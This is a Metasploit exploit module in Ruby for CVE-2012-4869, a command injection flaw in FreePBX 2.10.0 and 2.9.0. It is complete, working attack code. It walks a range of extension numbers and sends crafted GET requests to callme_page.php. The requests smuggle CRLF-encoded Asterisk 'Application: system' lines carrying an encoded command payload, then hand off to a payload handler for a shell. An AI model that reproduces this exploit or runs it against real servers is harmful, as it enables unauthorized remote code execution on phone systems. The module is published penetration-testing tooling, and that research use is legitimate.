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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ManualRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
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        'Description' => %q{
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          This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
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          Due to the way callme_page.php handles the 'callmenum' parameter, it
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          is possible to inject code to the '$channel' variable in function
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          callme_startcall in order to gain remote code execution.
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          Please note in order to use this module properly, you must know the
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          extension number, which can be enumerated or bruteforced, or you may
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          try some of the default extensions such as 0 or 200.  Also, the call
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          has to be answered (or go to voice).
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          Tested on both Elastix and FreePBX ISO image installs.
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        },
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        'Author' => [ 'muts', 'Martin Tschirsich' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2012-4869' ],
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          [ 'OSVDB', '80544' ],
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          [ 'EDB', '18649' ]
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        ],
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        'Platform' => ['unix'],
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        'Arch' => ARCH_CMD,
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 1024,
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          'DisableNops' => true,
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        },
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-03-20',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
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      ]
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    )
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  end
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  def exploit
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    # Check range input
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    if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
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      min = $1.to_i
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      max = $2.to_i
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    else
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      print_error("Please specify a range for option 'EXTENSION'")
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      return
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    end
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    cmd = Rex::Text.uri_encode(payload.encoded)
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    (min..max).each do |e|
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      connect
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      print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
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      res = send_request_raw({
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        'method' => 'GET',
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        'uri' => "/recordings/misc/callme_page.php?action=c&callmenum=" + e.to_s + "@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
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        'version' => '1.0',
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        'vhost' => rhost
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      })
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      handler
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      disconnect
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    end
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  end
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end
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